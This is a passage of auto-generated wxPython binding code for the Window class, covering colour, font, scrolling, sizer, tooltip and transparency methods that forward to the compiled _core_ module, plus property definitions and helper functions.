**kwargs)\n\n def IsExposedRect(*args, **kwargs):\n \"\"\"\n IsExposedRect(self, Rect rect) -> bool\n\n Returns true if the given point or rectangle area has been exposed\n since the last repaint. Call this in an paint event handler to\n optimize redrawing by only redrawing those areas, which have been\n exposed.\n \"\"\"\n return _core_.Window_IsExposedRect(*args, **kwargs)\n\n def GetDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetDefaultAttributes(self) -> VisualAttributes\n\n Get the default attributes for an instance of this class. This is\n useful if you want to use the same font or colour in your own control\n as in a standard control -- which is a much better idea than hard\n coding specific colours or fonts which might look completely out of\n place on the user's system, especially if it uses themes.\n \"\"\"\n return _core_.Window_GetDefaultAttributes(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _core_.Window_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n def SetBackgroundColour(*args, **kwargs):\n \"\"\"\n SetBackgroundColour(self, Colour colour) -> bool\n\n Sets the background colour of the window. Returns True if the colour\n was changed. The background colour is usually painted by the default\n EVT_ERASE_BACKGROUND event handler function under Windows and\n automatically under GTK. Using `wx.NullColour` will reset the window\n to the default background colour.\n\n Note that setting the background colour may not cause an immediate\n refresh, so you may wish to call `ClearBackground` or `Refresh` after\n calling this function.\n\n Using this function will disable attempts to use themes for this\n window, if the system supports them. Use with care since usually the\n themes represent the appearance chosen by the user to be used for all\n applications on the system.\n \"\"\"\n return _core_.Window_SetBackgroundColour(*args, **kwargs)\n\n def SetOwnBackgroundColour(*args, **kwargs):\n \"\"\"SetOwnBackgroundColour(self, Colour colour)\"\"\"\n return _core_.Window_SetOwnBackgroundColour(*args, **kwargs)\n\n def SetForegroundColour(*args, **kwargs):\n \"\"\"\n SetForegroundColour(self, Colour colour) -> bool\n\n Sets the foreground colour of the window. Returns True is the colour\n was changed. The interpretation of foreground colour is dependent on\n the window class; it may be the text colour or other colour, or it may\n not be used at all.\n \"\"\"\n return _core_.Window_SetForegroundColour(*args, **kwargs)\n\n def SetOwnForegroundColour(*args, **kwargs):\n \"\"\"SetOwnForegroundColour(self, Colour colour)\"\"\"\n return _core_.Window_SetOwnForegroundColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"\n GetBackgroundColour(self) -> Colour\n\n Returns the background colour of the window.\n \"\"\"\n return _core_.Window_GetBackgroundColour(*args, **kwargs)\n\n def GetForegroundColour(*args, **kwargs):\n \"\"\"\n GetForegroundColour(self) -> Colour\n\n Returns the foreground colour of the window. The interpretation of\n foreground colour is dependent on the window class; it may be the text\n colour or other colour, or it may not be used at all.\n \"\"\"\n return _core_.Window_GetForegroundColour(*args, **kwargs)\n\n def InheritsBackgroundColour(*args, **kwargs):\n \"\"\"InheritsBackgroundColour(self) -> bool\"\"\"\n return _core_.Window_InheritsBackgroundColour(*args, **kwargs)\n\n def UseBgCol(*args, **kwargs):\n \"\"\"UseBgCol(self) -> bool\"\"\"\n return _core_.Window_UseBgCol(*args, **kwargs)\n\n def SetBackgroundStyle(*args, **kwargs):\n \"\"\"\n SetBackgroundStyle(self, int style) -> bool\n\n Returns the background style of the window. The background style\n indicates how the background of the window is drawn.\n\n ====================== ========================================\n wx.BG_STYLE_SYSTEM The background colour or pattern should\n be determined by the system\n wx.BG_STYLE_COLOUR The background should be a solid colour\n wx.BG_STYLE_CUSTOM The background will be implemented by the\n application.\n ====================== ========================================\n\n On GTK+, use of wx.BG_STYLE_CUSTOM allows the flicker-free drawing of\n a custom background, such as a tiled bitmap. Currently the style has\n no effect on other platforms.\n\n :see: `GetBackgroundStyle`, `SetBackgroundColour`\n \"\"\"\n return _core_.Window_SetBackgroundStyle(*args, **kwargs)\n\n def GetBackgroundStyle(*args, **kwargs):\n \"\"\"\n GetBackgroundStyle(self) -> int\n\n Returns the background style of the window.\n\n :see: `SetBackgroundStyle`\n \"\"\"\n return _core_.Window_GetBackgroundStyle(*args, **kwargs)\n\n def HasTransparentBackground(*args, **kwargs):\n \"\"\"\n HasTransparentBackground(self) -> bool\n\n Returns True if this window's background is transparent (as, for\n example, for `wx.StaticText`) and should show the parent window's\n background.\n\n This method is mostly used internally by the library itself and you\n normally shouldn't have to call it. You may, however, have to override\n it in your custom control classes to ensure that background is painted\n correctly.\n \"\"\"\n return _core_.Window_HasTransparentBackground(*args, **kwargs)\n\n def SetCursor(*args, **kwargs):\n \"\"\"\n SetCursor(self, Cursor cursor) -> bool\n\n Sets the window's cursor. Notice that the window cursor also sets it\n for the children of the window implicitly.\n\n The cursor may be wx.NullCursor in which case the window cursor will\n be reset back to default.\n \"\"\"\n return _core_.Window_SetCursor(*args, **kwargs)\n\n def GetCursor(*args, **kwargs):\n \"\"\"\n GetCursor(self) -> Cursor\n\n Return the cursor associated with this window.\n \"\"\"\n return _core_.Window_GetCursor(*args, **kwargs)\n\n def SetFont(*args, **kwargs):\n \"\"\"\n SetFont(self, Font font) -> bool\n\n Sets the font for this window.\n \"\"\"\n return _core_.Window_SetFont(*args, **kwargs)\n\n def SetOwnFont(*args, **kwargs):\n \"\"\"SetOwnFont(self, Font font)\"\"\"\n return _core_.Window_SetOwnFont(*args, **kwargs)\n\n def GetFont(*args, **kwargs):\n \"\"\"\n GetFont(self) -> Font\n\n Returns the default font used for this window.\n \"\"\"\n return _core_.Window_GetFont(*args, **kwargs)\n\n def SetCaret(*args, **kwargs):\n \"\"\"\n SetCaret(self, Caret caret)\n\n Sets the caret associated with the window.\n \"\"\"\n return _core_.Window_SetCaret(*args, **kwargs)\n\n def GetCaret(*args, **kwargs):\n \"\"\"\n GetCaret(self) -> Caret\n\n Returns the caret associated with the window.\n \"\"\"\n return _core_.Window_GetCaret(*args, **kwargs)\n\n def GetCharHeight(*args, **kwargs):\n \"\"\"\n GetCharHeight(self) -> int\n\n Get the (average) character size for the current font.\n \"\"\"\n return _core_.Window_GetCharHeight(*args, **kwargs)\n\n def GetCharWidth(*args, **kwargs):\n \"\"\"\n GetCharWidth(self) -> int\n\n Get the (average) character size for the current font.\n \"\"\"\n return _core_.Window_GetCharWidth(*args, **kwargs)\n\n def GetTextExtent(*args, **kwargs):\n \"\"\"\n GetTextExtent(String string) -> (width, height)\n\n Get the width and height of the text using the current font.\n \"\"\"\n return _core_.Window_GetTextExtent(*args, **kwargs)\n\n def GetFullTextExtent(*args, **kwargs):\n \"\"\"\n GetFullTextExtent(String string, Font font=None) ->\n (width, height, descent, externalLeading)\n\n Get the width, height, decent and leading of the text using the\n current or specified font.\n \"\"\"\n return _core_.Window_GetFullTextExtent(*args, **kwargs)\n\n def ClientToScreenXY(*args, **kwargs):\n \"\"\"\n ClientToScreenXY(int x, int y) -> (x,y)\n\n Converts to screen coordinates from coordinates relative to this window.\n \"\"\"\n return _core_.Window_ClientToScreenXY(*args, **kwargs)\n\n def ScreenToClientXY(*args, **kwargs):\n \"\"\"\n ScreenToClientXY(int x, int y) -> (x,y)\n\n Converts from screen to client window coordinates.\n \"\"\"\n return _core_.Window_ScreenToClientXY(*args, **kwargs)\n\n def ClientToScreen(*args, **kwargs):\n \"\"\"\n ClientToScreen(self, Point pt) -> Point\n\n Converts to screen coordinates from coordinates relative to this window.\n \"\"\"\n return _core_.Window_ClientToScreen(*args, **kwargs)\n\n def ScreenToClient(*args, **kwargs):\n \"\"\"\n ScreenToClient(self, Point pt) -> Point\n\n Converts from screen to client window coordinates.\n \"\"\"\n return _core_.Window_ScreenToClient(*args, **kwargs)\n\n def HitTestXY(*args, **kwargs):\n \"\"\"\n HitTestXY(self, int x, int y) -> int\n\n Test where the given (in client coords) point lies\n \"\"\"\n return _core_.Window_HitTestXY(*args, **kwargs)\n\n def HitTest(*args, **kwargs):\n \"\"\"\n HitTest(self, Point pt) -> int\n\n Test where the given (in client coords) point lies\n \"\"\"\n return _core_.Window_HitTest(*args, **kwargs)\n\n def GetBorder(*args):\n \"\"\"\n GetBorder(self, long flags) -> int\n GetBorder(self) -> int\n\n Get border for the flags of this window\n \"\"\"\n return _core_.Window_GetBorder(*args)\n\n def UpdateWindowUI(*args, **kwargs):\n \"\"\"\n UpdateWindowUI(self, long flags=UPDATE_UI_NONE)\n\n This function sends EVT_UPDATE_UI events to the window. The particular\n implementation depends on the window; for example a wx.ToolBar will\n send an update UI event for each toolbar button, and a wx.Frame will\n send an update UI event for each menubar menu item. You can call this\n function from your application to ensure that your UI is up-to-date at\n a particular point in time (as far as your EVT_UPDATE_UI handlers are\n concerned). This may be necessary if you have called\n `wx.UpdateUIEvent.SetMode` or `wx.UpdateUIEvent.SetUpdateInterval` to\n limit the overhead that wxWindows incurs by sending update UI events\n in idle time.\n \"\"\"\n return _core_.Window_UpdateWindowUI(*args, **kwargs)\n\n def PopupMenuXY(*args, **kwargs):\n \"\"\"\n PopupMenuXY(self, Menu menu, int x=-1, int y=-1) -> bool\n\n Pops up the given menu at the specified coordinates, relative to this window,\n and returns control when the user has dismissed the menu. If a menu item is\n selected, the corresponding menu event is generated and will be processed as\n usual. If the default position is given then the current position of the\n mouse cursor will be used.\n \"\"\"\n return _core_.Window_PopupMenuXY(*args, **kwargs)\n\n def PopupMenu(*args, **kwargs):\n \"\"\"\n PopupMenu(self, Menu menu, Point pos=DefaultPosition) -> bool\n\n Pops up the given menu at the specified coordinates, relative to this window,\n and returns control when the user has dismissed the menu. If a menu item is\n selected, the corresponding menu event is generated and will be processed as\n usual. If the default position is given then the current position of the\n mouse cursor will be used.\n \"\"\"\n return _core_.Window_PopupMenu(*args, **kwargs)\n\n def HasMultiplePages(*args, **kwargs):\n \"\"\"HasMultiplePages(self) -> bool\"\"\"\n return _core_.Window_HasMultiplePages(*args, **kwargs)\n\n def GetHandle(*args, **kwargs):\n \"\"\"\n GetHandle(self) -> long\n\n Returns the platform-specific handle (as a long integer) of the\n physical window. On wxMSW this is the win32 window handle, on wxGTK\n it is the XWindow ID, and on wxMac it is the ControlRef.\n \"\"\"\n return _core_.Window_GetHandle(*args, **kwargs)\n\n def AssociateHandle(*args, **kwargs):\n \"\"\"\n AssociateHandle(self, long handle)\n\n Associate the window with a new native handle\n \"\"\"\n return _core_.Window_AssociateHandle(*args, **kwargs)\n\n def DissociateHandle(*args, **kwargs):\n \"\"\"\n DissociateHandle(self)\n\n Dissociate the current native handle from the window\n \"\"\"\n return _core_.Window_DissociateHandle(*args, **kwargs)\n\n def GetGtkWidget(*args, **kwargs):\n \"\"\"\n GetGtkWidget(self) -> long\n\n On wxGTK returns a pointer to the GtkWidget for this window as a long\n integer. On the other platforms this method returns zero.\n \"\"\"\n return _core_.Window_GetGtkWidget(*args, **kwargs)\n\n def OnPaint(*args, **kwargs):\n \"\"\"OnPaint(self, PaintEvent event)\"\"\"\n return _core_.Window_OnPaint(*args, **kwargs)\n\n def HasScrollbar(*args, **kwargs):\n \"\"\"\n HasScrollbar(self, int orient) -> bool\n\n Does the window have the scrollbar for this orientation?\n \"\"\"\n return _core_.Window_HasScrollbar(*args, **kwargs)\n\n def SetScrollbar(*args, **kwargs):\n \"\"\"\n SetScrollbar(self, int orientation, int position, int thumbSize, int range, \n bool refresh=True)\n\n Sets the scrollbar properties of a built-in scrollbar.\n \"\"\"\n return _core_.Window_SetScrollbar(*args, **kwargs)\n\n def SetScrollPos(*args, **kwargs):\n \"\"\"\n SetScrollPos(self, int orientation, int pos, bool refresh=True)\n\n Sets the position of one of the built-in scrollbars.\n \"\"\"\n return _core_.Window_SetScrollPos(*args, **kwargs)\n\n def GetScrollPos(*args, **kwargs):\n \"\"\"\n GetScrollPos(self, int orientation) -> int\n\n Returns the built-in scrollbar position.\n \"\"\"\n return _core_.Window_GetScrollPos(*args, **kwargs)\n\n def GetScrollThumb(*args, **kwargs):\n \"\"\"\n GetScrollThumb(self, int orientation) -> int\n\n Returns the built-in scrollbar thumb size.\n \"\"\"\n return _core_.Window_GetScrollThumb(*args, **kwargs)\n\n def GetScrollRange(*args, **kwargs):\n \"\"\"\n GetScrollRange(self, int orientation) -> int\n\n Returns the built-in scrollbar range.\n \"\"\"\n return _core_.Window_GetScrollRange(*args, **kwargs)\n\n def ScrollWindow(*args, **kwargs):\n \"\"\"\n ScrollWindow(self, int dx, int dy, Rect rect=None)\n\n Physically scrolls the pixels in the window and move child windows\n accordingly. Use this function to optimise your scrolling\n implementations, to minimise the area that must be redrawn. Note that\n it is rarely required to call this function from a user program.\n \"\"\"\n return _core_.Window_ScrollWindow(*args, **kwargs)\n\n def ScrollLines(*args, **kwargs):\n \"\"\"\n ScrollLines(self, int lines) -> bool\n\n If the platform and window class supports it, scrolls the window by\n the given number of lines down, if lines is positive, or up if lines\n is negative. Returns True if the window was scrolled, False if it was\n already on top/bottom and nothing was done.\n \"\"\"\n return _core_.Window_ScrollLines(*args, **kwargs)\n\n def ScrollPages(*args, **kwargs):\n \"\"\"\n ScrollPages(self, int pages) -> bool\n\n If the platform and window class supports it, scrolls the window by\n the given number of pages down, if pages is positive, or up if pages\n is negative. Returns True if the window was scrolled, False if it was\n already on top/bottom and nothing was done.\n \"\"\"\n return _core_.Window_ScrollPages(*args, **kwargs)\n\n def LineUp(*args, **kwargs):\n \"\"\"\n LineUp(self) -> bool\n\n This is just a wrapper for ScrollLines(-1).\n \"\"\"\n return _core_.Window_LineUp(*args, **kwargs)\n\n def LineDown(*args, **kwargs):\n \"\"\"\n LineDown(self) -> bool\n\n This is just a wrapper for ScrollLines(1).\n \"\"\"\n return _core_.Window_LineDown(*args, **kwargs)\n\n def PageUp(*args, **kwargs):\n \"\"\"\n PageUp(self) -> bool\n\n This is just a wrapper for ScrollPages(-1).\n \"\"\"\n return _core_.Window_PageUp(*args, **kwargs)\n\n def PageDown(*args, **kwargs):\n \"\"\"\n PageDown(self) -> bool\n\n This is just a wrapper for ScrollPages(1).\n \"\"\"\n return _core_.Window_PageDown(*args, **kwargs)\n\n def SetHelpText(*args, **kwargs):\n \"\"\"\n SetHelpText(self, String text)\n\n Sets the help text to be used as context-sensitive help for this\n window. Note that the text is actually stored by the current\n `wx.HelpProvider` implementation, and not in the window object itself.\n \"\"\"\n return _core_.Window_SetHelpText(*args, **kwargs)\n\n def SetHelpTextForId(*args, **kwargs):\n \"\"\"\n SetHelpTextForId(self, String text)\n\n Associate this help text with all windows with the same id as this\n one.\n \"\"\"\n return _core_.Window_SetHelpTextForId(*args, **kwargs)\n\n def GetHelpTextAtPoint(*args, **kwargs):\n \"\"\"\n GetHelpTextAtPoint(self, Point pt, wxHelpEvent::Origin origin) -> String\n\n Get the help string associated with the given position in this window.\n\n Notice that pt may be invalid if event origin is keyboard or unknown\n and this method should return the global window help text then\n\n \"\"\"\n return _core_.Window_GetHelpTextAtPoint(*args, **kwargs)\n\n def GetHelpText(*args, **kwargs):\n \"\"\"\n GetHelpText(self) -> String\n\n Gets the help text to be used as context-sensitive help for this\n window. Note that the text is actually stored by the current\n `wx.HelpProvider` implementation, and not in the window object itself.\n \"\"\"\n return _core_.Window_GetHelpText(*args, **kwargs)\n\n def SetToolTipString(*args, **kwargs):\n \"\"\"\n SetToolTipString(self, String tip)\n\n Attach a tooltip to the window.\n \"\"\"\n return _core_.Window_SetToolTipString(*args, **kwargs)\n\n def SetToolTip(*args, **kwargs):\n \"\"\"\n SetToolTip(self, ToolTip tip)\n\n Attach a tooltip to the window.\n \"\"\"\n return _core_.Window_SetToolTip(*args, **kwargs)\n\n def GetToolTip(*args, **kwargs):\n \"\"\"\n GetToolTip(self) -> ToolTip\n\n get the associated tooltip or None if none\n \"\"\"\n return _core_.Window_GetToolTip(*args, **kwargs)\n\n def GetToolTipString(self):\n tip = self.GetToolTip()\n if tip:\n return tip.GetTip()\n else:\n return None\n\n ToolTipString = property(GetToolTipString, SetToolTipString)\n\n def SetDropTarget(*args, **kwargs):\n \"\"\"\n SetDropTarget(self, DropTarget dropTarget)\n\n Associates a drop target with this window. If the window already has\n a drop target, it is deleted.\n \"\"\"\n return _core_.Window_SetDropTarget(*args, **kwargs)\n\n def GetDropTarget(*args, **kwargs):\n \"\"\"\n GetDropTarget(self) -> DropTarget\n\n Returns the associated drop target, which may be None.\n \"\"\"\n return _core_.Window_GetDropTarget(*args, **kwargs)\n\n def DragAcceptFiles(*args, **kwargs):\n \"\"\"\n DragAcceptFiles(self, bool accept)\n\n Enables or disables eligibility for drop file events, EVT_DROP_FILES.\n \"\"\"\n return _core_.Window_DragAcceptFiles(*args, **kwargs)\n\n def SetConstraints(*args, **kwargs):\n \"\"\"\n SetConstraints(self, LayoutConstraints constraints)\n\n Sets the window to have the given layout constraints. If an existing\n layout constraints object is already owned by the window, it will be\n deleted. Pass None to disassociate and delete the window's current\n constraints.\n\n You must call SetAutoLayout to tell a window to use the constraints\n automatically in its default EVT_SIZE handler; otherwise, you must\n handle EVT_SIZE yourself and call Layout() explicitly. When setting\n both a wx.LayoutConstraints and a wx.Sizer, only the sizer will have\n effect.\n \"\"\"\n return _core_.Window_SetConstraints(*args, **kwargs)\n\n def GetConstraints(*args, **kwargs):\n \"\"\"\n GetConstraints(self) -> LayoutConstraints\n\n Returns a pointer to the window's layout constraints, or None if there\n are none.\n \"\"\"\n return _core_.Window_GetConstraints(*args, **kwargs)\n\n def SetAutoLayout(*args, **kwargs):\n \"\"\"\n SetAutoLayout(self, bool autoLayout)\n\n Determines whether the Layout function will be called automatically\n when the window is resized. lease note that this only happens for the\n windows usually used to contain children, namely `wx.Panel` and\n `wx.TopLevelWindow` (and the classes deriving from them).\n\n This method is called implicitly by `SetSizer` but if you use\n `SetConstraints` you should call it manually or otherwise the window\n layout won't be correctly updated when its size changes.\n \"\"\"\n return _core_.Window_SetAutoLayout(*args, **kwargs)\n\n def GetAutoLayout(*args, **kwargs):\n \"\"\"\n GetAutoLayout(self) -> bool\n\n Returns the current autoLayout setting\n \"\"\"\n return _core_.Window_GetAutoLayout(*args, **kwargs)\n\n def Layout(*args, **kwargs):\n \"\"\"\n Layout(self) -> bool\n\n Invokes the constraint-based layout algorithm or the sizer-based\n algorithm for this window. See SetAutoLayout: when auto layout is on,\n this function gets called automatically by the default EVT_SIZE\n handler when the window is resized.\n \"\"\"\n return _core_.Window_Layout(*args, **kwargs)\n\n def SetSizer(*args, **kwargs):\n \"\"\"\n SetSizer(self, Sizer sizer, bool deleteOld=True)\n\n Sets the window to have the given layout sizer. The window will then\n own the object, and will take care of its deletion. If an existing\n layout sizer object is already owned by the window, it will be deleted\n if the deleteOld parameter is true. Note that this function will also\n call SetAutoLayout implicitly with a True parameter if the sizer is\n non-None, and False otherwise.\n \"\"\"\n return _core_.Window_SetSizer(*args, **kwargs)\n\n def SetSizerAndFit(*args, **kwargs):\n \"\"\"\n SetSizerAndFit(self, Sizer sizer, bool deleteOld=True)\n\n The same as SetSizer, except it also sets the size hints for the\n window based on the sizer's minimum size.\n \"\"\"\n return _core_.Window_SetSizerAndFit(*args, **kwargs)\n\n def GetSizer(*args, **kwargs):\n \"\"\"\n GetSizer(self) -> Sizer\n\n Return the sizer associated with the window by a previous call to\n SetSizer or None if there isn't one.\n \"\"\"\n return _core_.Window_GetSizer(*args, **kwargs)\n\n def SetContainingSizer(*args, **kwargs):\n \"\"\"\n SetContainingSizer(self, Sizer sizer)\n\n This normally does not need to be called by application code. It is\n called internally when a window is added to a sizer, and is used so\n the window can remove itself from the sizer when it is destroyed.\n \"\"\"\n return _core_.Window_SetContainingSizer(*args, **kwargs)\n\n def GetContainingSizer(*args, **kwargs):\n \"\"\"\n GetContainingSizer(self) -> Sizer\n\n Return the sizer that this window is a member of, if any, otherwise None.\n \"\"\"\n return _core_.Window_GetContainingSizer(*args, **kwargs)\n\n def InheritAttributes(*args, **kwargs):\n \"\"\"\n InheritAttributes(self)\n\n This function is (or should be, in case of custom controls) called\n during window creation to intelligently set up the window visual\n attributes, that is the font and the foreground and background\n colours.\n\n By 'intelligently' the following is meant: by default, all windows use\n their own default attributes. However if some of the parent's\n attributes are explicitly changed (that is, using SetFont and not\n SetOwnFont) and if the corresponding attribute hadn't been\n explicitly set for this window itself, then this window takes the same\n value as used by the parent. In addition, if the window overrides\n ShouldInheritColours to return false, the colours will not be changed\n no matter what and only the font might.\n\n This rather complicated logic is necessary in order to accommodate the\n different usage scenarios. The most common one is when all default\n attributes are used and in this case, nothing should be inherited as\n in modern GUIs different controls use different fonts (and colours)\n than their siblings so they can't inherit the same value from the\n parent. However it was also deemed desirable to allow to simply change\n the attributes of all children at once by just changing the font or\n colour of their common parent, hence in this case we do inherit the\n parents attributes.\n\n \"\"\"\n return _core_.Window_InheritAttributes(*args, **kwargs)\n\n def ShouldInheritColours(*args, **kwargs):\n \"\"\"\n ShouldInheritColours(self) -> bool\n\n Return true from here to allow the colours of this window to be\n changed by InheritAttributes, returning false forbids inheriting them\n from the parent window.\n\n The base class version returns false, but this method is overridden in\n wxControl where it returns true.\n \"\"\"\n return _core_.Window_ShouldInheritColours(*args, **kwargs)\n\n def CanSetTransparent(*args, **kwargs):\n \"\"\"\n CanSetTransparent(self) -> bool\n\n Returns ``True`` if the platform supports setting the transparency for\n this window. Note that this method will err on the side of caution,\n so it is possible that this will return ``False`` when it is in fact\n possible to set the transparency.\n\n NOTE: On X-windows systems the X server must have the composite\n extension loaded, and there must be a composite manager program (such\n as xcompmgr) running.\n \"\"\"\n return _core_.Window_CanSetTransparent(*args, **kwargs)\n\n def SetTransparent(*args, **kwargs):\n \"\"\"\n SetTransparent(self, byte alpha) -> bool\n\n Attempt to set the transparency of this window to the ``alpha`` value,\n returns True on success. The ``alpha`` value is an integer in the\n range of 0 to 255, where 0 is fully transparent and 255 is fully\n opaque.\n \"\"\"\n return _core_.Window_SetTransparent(*args, **kwargs)\n\n def PostCreate(self, pre):\n \"\"\"\n Phase 3 of the 2-phase create <wink!>\n Call this method after precreating the window with the 2-phase create method.\n \"\"\"\n self.this = pre.this\n self.thisown = pre.thisown\n pre.thisown = 0\n if hasattr(self, '_setOORInfo'):\n try:\n self._setOORInfo(self)\n except TypeError:\n pass\n if hasattr(self, '_setCallbackInfo'):\n try:\n self._setCallbackInfo(self, pre.__class__)\n except TypeError:\n pass\n\n def SendSizeEvent(self):\n self.GetEventHandler().ProcessEvent(wx.SizeEvent((-1,-1)))\n\n AcceleratorTable = property(GetAcceleratorTable,SetAcceleratorTable,doc=\"See `GetAcceleratorTable` and `SetAcceleratorTable`\") \n AutoLayout = property(GetAutoLayout,SetAutoLayout,doc=\"See `GetAutoLayout` and `SetAutoLayout`\") \n BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc=\"See `GetBackgroundColour` and `SetBackgroundColour`\") \n BackgroundStyle = property(GetBackgroundStyle,SetBackgroundStyle,doc=\"See `GetBackgroundStyle` and `SetBackgroundStyle`\") \n EffectiveMinSize = property(GetEffectiveMinSize,doc=\"See `GetEffectiveMinSize`\") \n BestSize = property(GetBestSize,doc=\"See `GetBestSize`\") \n BestVirtualSize = property(GetBestVirtualSize,doc=\"See `GetBestVirtualSize`\") \n Border = property(GetBorder,doc=\"See `GetBorder`\") \n Caret = property(GetCaret,SetCaret,doc=\"See `GetCaret` and `SetCaret`\") \n CharHeight = property(GetCharHeight,doc=\"See `GetCharHeight`\") \n CharWidth = property(GetCharWidth,doc=\"See `GetCharWidth`\") \n Children = property(GetChildren,doc=\"See `GetChildren`\") \n ClientAreaOrigin = property(GetClientAreaOrigin,doc=\"See `GetClientAreaOrigin`\") \n ClientRect = property(GetClientRect,SetClientRect,doc=\"See `GetClientRect` and `SetClientRect`\") \n ClientSize = property(GetClientSize,SetClientSize,doc=\"See `GetClientSize` and `SetClientSize`\") \n Constraints = property(GetConstraints,SetConstraints,doc=\"See `GetConstraints` and `SetConstraints`\") \n ContainingSizer = property(GetContainingSizer,SetContainingSizer,doc=\"See `GetContainingSizer` and `SetContainingSizer`\") \n Cursor = property(GetCursor,SetCursor,doc=\"See `GetCursor` and `SetCursor`\") \n DefaultAttributes = property(GetDefaultAttributes,doc=\"See `GetDefaultAttributes`\") \n DropTarget = property(GetDropTarget,SetDropTarget,doc=\"See `GetDropTarget` and `SetDropTarget`\") \n EventHandler = property(GetEventHandler,SetEventHandler,doc=\"See `GetEventHandler` and `SetEventHandler`\") \n ExtraStyle = property(GetExtraStyle,SetExtraStyle,doc=\"See `GetExtraStyle` and `SetExtraStyle`\") \n Font = property(GetFont,SetFont,doc=\"See `GetFont` and `SetFont`\") \n ForegroundColour = property(GetForegroundColour,SetForegroundColour,doc=\"See `GetForegroundColour` and `SetForegroundColour`\") \n GrandParent = property(GetGrandParent,doc=\"See `GetGrandParent`\") \n TopLevelParent = property(GetTopLevelParent,doc=\"See `GetTopLevelParent`\") \n Handle = property(GetHandle,doc=\"See `GetHandle`\") \n HelpText = property(GetHelpText,SetHelpText,doc=\"See `GetHelpText` and `SetHelpText`\") \n Id = property(GetId,SetId,doc=\"See `GetId` and `SetId`\") \n Label = property(GetLabel,SetLabel,doc=\"See `GetLabel` and `SetLabel`\") \n LayoutDirection = property(GetLayoutDirection,SetLayoutDirection,doc=\"See `GetLayoutDirection` and `SetLayoutDirection`\") \n MaxHeight = property(GetMaxHeight,doc=\"See `GetMaxHeight`\") \n MaxSize = property(GetMaxSize,SetMaxSize,doc=\"See `GetMaxSize` and `SetMaxSize`\") \n MaxWidth = property(GetMaxWidth,doc=\"See `GetMaxWidth`\") \n MinHeight = property(GetMinHeight,doc=\"See `GetMinHeight`\") \n MinSize = property(GetMinSize,SetMinSize,doc=\"See `GetMinSize` and `SetMinSize`\") \n MinWidth = property(GetMinWidth,doc=\"See `GetMinWidth`\") \n Name = property(GetName,SetName,doc=\"See `GetName` and `SetName`\") \n Parent = property(GetParent,doc=\"See `GetParent`\") \n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n Rect = property(GetRect,SetRect,doc=\"See `GetRect` and `SetRect`\") \n ScreenPosition = property(GetScreenPosition,doc=\"See `GetScreenPosition`\") \n ScreenRect = property(GetScreenRect,doc=\"See `GetScreenRect`\") \n Size = property(GetSize,SetSize,doc=\"See `GetSize` and `SetSize`\") \n Sizer = property(GetSizer,SetSizer,doc=\"See `GetSizer` and `SetSizer`\") \n ThemeEnabled = property(GetThemeEnabled,SetThemeEnabled,doc=\"See `GetThemeEnabled` and `SetThemeEnabled`\") \n ToolTip = property(GetToolTip,SetToolTip,doc=\"See `GetToolTip` and `SetToolTip`\") \n UpdateClientRect = property(GetUpdateClientRect,doc=\"See `GetUpdateClientRect`\") \n UpdateRegion = property(GetUpdateRegion,doc=\"See `GetUpdateRegion`\") \n Validator = property(GetValidator,SetValidator,doc=\"See `GetValidator` and `SetValidator`\") \n VirtualSize = property(GetVirtualSize,SetVirtualSize,doc=\"See `GetVirtualSize` and `SetVirtualSize`\") \n WindowStyle = property(GetWindowStyle,SetWindowStyle,doc=\"See `GetWindowStyle` and `SetWindowStyle`\") \n WindowStyleFlag = property(GetWindowStyleFlag,SetWindowStyleFlag,doc=\"See `GetWindowStyleFlag` and `SetWindowStyleFlag`\") \n WindowVariant = property(GetWindowVariant,SetWindowVariant,doc=\"See `GetWindowVariant` and `SetWindowVariant`\") \n Shown = property(IsShown,Show,doc=\"See `IsShown` and `Show`\") \n Enabled = property(IsEnabled,Enable,doc=\"See `IsEnabled` and `Enable`\") \n TopLevel = property(IsTopLevel,doc=\"See `IsTopLevel`\") \n GtkWidget = property(GetGtkWidget) \n_core_.Window_swigregister(Window)\n\ndef PreWindow(*args, **kwargs):\n \"\"\"\n PreWindow() -> Window\n\n Precreate a Window for 2-phase creation.\n \"\"\"\n val = _core_.new_PreWindow(*args, **kwargs)\n return val\n\ndef Window_NewControlId(*args):\n \"\"\"\n Window_NewControlId() -> int\n\n Generate a control id for the controls which were not given one.\n \"\"\"\n return _core_.Window_NewControlId(*args)\n\ndef Window_NextControlId(*args, **kwargs):\n \"\"\"\n Window_NextControlId(int winid) -> int\n\n Get the id of the control following the one with the given\n autogenerated) id\n \"\"\"\n return _core_.Window_NextControlId(*args, **kwargs)\n\ndef Window_PrevControlId(*args, **kwargs):\n \"\"\"\n Window_PrevControlId(int winid) -> int\n\n Get the id of the control preceding the one with the given\n autogenerated) id\n \"\"\"\n return _core_.Window_PrevControlId(*args, **kwargs)\n\ndef Window_FindFocus(*args):\n \"\"\"\n Window_FindFocus() -> Window\n\n Returns the window or control that currently has the keyboard focus,\n or None.\n \"\"\"\n return _core_.Window_FindFocus(*args)\n\ndef Window_GetCapture(*args):\n \"\"\"\n Window_GetCapture() -> Window\n\n Returns the window which currently captures the mouse or None\n \"\"\"\n return _core_.Window_GetCapture(*args)\n\ndef Window_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n Window_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _core_.Window_GetClassDefaultAttributes(*args, **kwargs)\n\ndef DLG_PNT(win, point_or_x, y=None):\n \"\"\"\n Convenience function 